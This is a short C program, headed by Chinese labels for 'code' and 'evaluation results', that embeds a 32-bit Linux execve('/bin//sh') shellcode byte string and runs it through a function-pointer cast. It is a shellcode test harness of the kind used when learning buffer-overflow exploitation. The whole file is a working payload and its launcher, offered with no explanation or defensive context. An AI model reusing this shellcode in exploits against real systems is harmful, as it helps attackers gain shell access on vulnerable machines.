代码

#include <stdio.h>
#include <string.h>
char sc[] =
  "\x31\xc0"
  "\x50"
  "\x68\x6e\x2f\x73\x68"
  "\x68\x2f\x2f\x62\x69"
  "\x89\xe3"
  "\x50"
  "\x53"
  "\x89\xe1"
  "\xb0\x0b"
  "\xcd\x80";
int main()
{
  void (*fp)(void) = (void (*)(void))sc;
 
  printf("Length: %d\n",strlen(sc));
  fp();
}

评测结果